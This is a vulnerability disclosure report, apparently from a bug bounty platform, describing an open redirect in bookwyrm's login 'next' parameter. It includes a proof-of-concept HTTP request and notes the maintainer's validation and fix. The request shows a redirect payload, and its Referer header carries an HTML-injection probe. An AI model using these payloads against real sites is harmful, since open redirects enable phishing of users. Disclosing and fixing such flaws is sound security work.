Open redirect when login successfully in bookwyrm-social/bookwyrm

Valid

Reported on

Jul 11th 2022


Description

Open redirect when login successfully via next parameter

Proof of Concept

POST /login?next=https://www.google.com/open-redirect HTTP/2
Host: book.dansmonorage.blue
Cookie: csrftoken=EUjtgvt3A20lSHYbTxBvfAxQi5gNHHzeI7Bda1HOGnWCioMA6cwQqYWXv8ONog4k
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://book.dansmonorage.blue/search?q=%22%3E%3Ch1%3E123%3C/h1%3E&type=list
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://book.dansmonorage.blue
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

csrfmiddlewaretoken=AYkFFAARzZ5VjDVr49jR4sdsA55RDHf4EbCpz6OCFk1cJkJQhOecfQCzN8DRkgKa&localname=<username>&password=<password>

PoC Image

image

Impact

This vulnerability is capable of redirect user to fishing, redirect to attack host,...

We are processing your report and will contact the bookwyrm-social/bookwyrm team within 24 hours. 23 days ago
We have contacted a member of the bookwyrm-social/bookwyrm team and are waiting to hear back 22 days ago
Mouse Reeve validated this vulnerability 20 days ago
Nhien.IT has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Mouse Reeve confirmed that a fix has been merged on a2540e 20 days ago
The fix bounty has been dropped
to join this conversation